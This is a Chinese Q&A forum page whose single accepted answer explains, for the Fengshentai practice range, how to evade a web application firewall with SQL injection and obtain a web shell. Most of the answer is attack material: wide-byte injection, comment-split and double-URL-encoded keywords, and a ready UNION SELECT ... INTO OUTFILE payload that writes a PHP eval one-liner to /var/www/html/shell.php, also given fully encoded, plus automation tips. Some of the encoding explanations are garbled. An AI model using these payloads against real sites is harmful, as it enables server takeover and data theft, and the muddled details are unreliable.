封神台SQL注入如何绕过WAF获取shell?
- 写回答
- 好问题 0 提建议
- 关注问题
- 邀请回答
-
1条回答 默认 最新
扶余城里小老二 2026-01-16 09:26关注1. SQL注入绕过WAF的基本原理与常见拦截机制
在封神台靶场环境中,Web应用防火墙(WAF)通常会基于规则匹配对常见的SQL注入关键词进行拦截,如
union select、load_file()、into outfile等。这些语句一旦出现在请求参数中,极易触发WAF的正则检测规则。WAF的检测机制主要包括:
- 关键字黑名单匹配(如"select", "union", "from")
- 特殊字符过滤(如单引号、括号、分号)
- 编码识别异常(如双重URL编码、宽字节编码)
- 请求频率和行为模式分析
因此,攻击者需通过变形、编码、注释混淆等方式,使恶意payload在传输过程中“伪装”成合法流量,从而绕过WAF的静态规则检测。
2. 宽字节注入的利用原理与场景分析
宽字节注入主要针对使用GBK或Big5等多字节编码的Web系统。当应用程序使用
mysql_query("set names gbk")时,MySQL会将输入按GBK解析,此时可利用%df%5c等组合绕过单引号转义。典型流程如下:
- 原始输入:
' OR 1=1 -- - 被转义为:
\' OR 1=1 -- - 插入%df后变为:
%df%5c→ GBK下解析为“運”+反斜杠合并,吃掉转义符 - 最终执行:
運OR 1=1 --,实现闭合绕过
编码形式 原始字符 GBK解析结果 作用 %df%27 ' 将%df与%27组合绕过 破坏转义结构 %df%5c 運\ 反斜杠被吞并 消除转义效果 %a1%27 ΰ' 高位字符+引号 构造非法但可执行语句 3. 注释变形与空格混淆技术详解
为绕过对
union select的直接匹配,可通过注释符拆分关键字。例如:uni/**/on sel/**/ect 1,2,3 -- 或 uni-- %0auselect 1,2,3其中
/**/作为多行注释替代空格,-- +配合URL编码后的空格(%0a或%0d%0a)实现逻辑延续。WAF若未递归还原注释内容,则无法识别完整关键词。常见变形方式包括:
uNiOn sElEcT—— 大小写交替绕过ununionion seselectlect—— 双写绕过,删除重复词后还原/*abc*/union/*xyz*/select—— 注释嵌入分割union%0aselect—— 使用换行符替代空格
4. 编码绕过策略:URL编码与双重编码实战
许多WAF在预处理阶段仅解码一次,而目标服务器可能多次解码,造成“解码差”漏洞。例如:
%2575%256e%2569%256f%256e %2573%2565%256c%2565%2563%2574该payload为“union select”的双重URL编码形式,WAF若不解码或仅解码一层,将无法识别其真实含义。服务端经两次解码后还原为原始语句。
常用编码对照表:
字符 URL编码 双重编码 HTML实体 u %75 %2575 u n %6e %256e n o %6f %256f o i %69 %2569 i %20 %2520   / %2f %252f / 5. 构造恶意Payload并写入一句话木马
当成功绕过WAF并获得联合查询权限后,可尝试使用
INTO OUTFILE写入PHP一句话木马。示例payload:1'/**/UNION/**/SELECT/**/1,2,'<?php @eval($_POST[cmd]);?>',4 INTO OUTFILE '/var/www/html/shell.php'--结合编码与注释变形,可进一步混淆:
1%27%20%2f%2a%61%2a%2f%55%4e%49%4f%4e%2f%2a%62%2a%2f%53%45%4c%45%43%54%2f%2a%63%2a%2f%31%2c%32%2c%27%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%3f%3e%27%2c%34%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%2d%2d%20此payload经过URL编码与注释插桩,能有效规避多数基于签名的WAF规则。
6. Mermaid流程图:从注入点到Web Shell获取的全过程
graph TD A[发现注入点] --> B{是否存在WAF} B -- 是 --> C[尝试宽字节注入] B -- 否 --> D[直接union select探测] C --> E[使用%df%5c绕过转义] E --> F[构造注释分割payload] F --> G[采用双重URL编码混淆] G --> H[执行INTO OUTFILE写入文件] H --> I[访问shell.php获取Web Shell] D --> H I --> J[执行系统命令,完成渗透]7. 实战建议与防御对抗思路
在封神台靶场中模拟真实环境时,应综合运用多种绕过技术。例如:
- 优先测试字符编码是否为GBK,确认宽字节注入可行性
- 使用Burp Suite的Intruder模块批量测试不同注释形式
- 编写Python脚本自动编码payload并发送请求
- 监控响应长度与状态码变化,判断写入是否成功
- 尝试不同路径(如/htdocs/, /www/, /var/www/html)避免路径错误
同时应注意,现代WAF已引入机器学习与上下文分析,单纯变形可能失效,需结合时间盲注、DNS带外回显等高级技巧。
本回答被题主选为最佳回答 , 对您是否有帮助呢?解决 无用评论 打赏 举报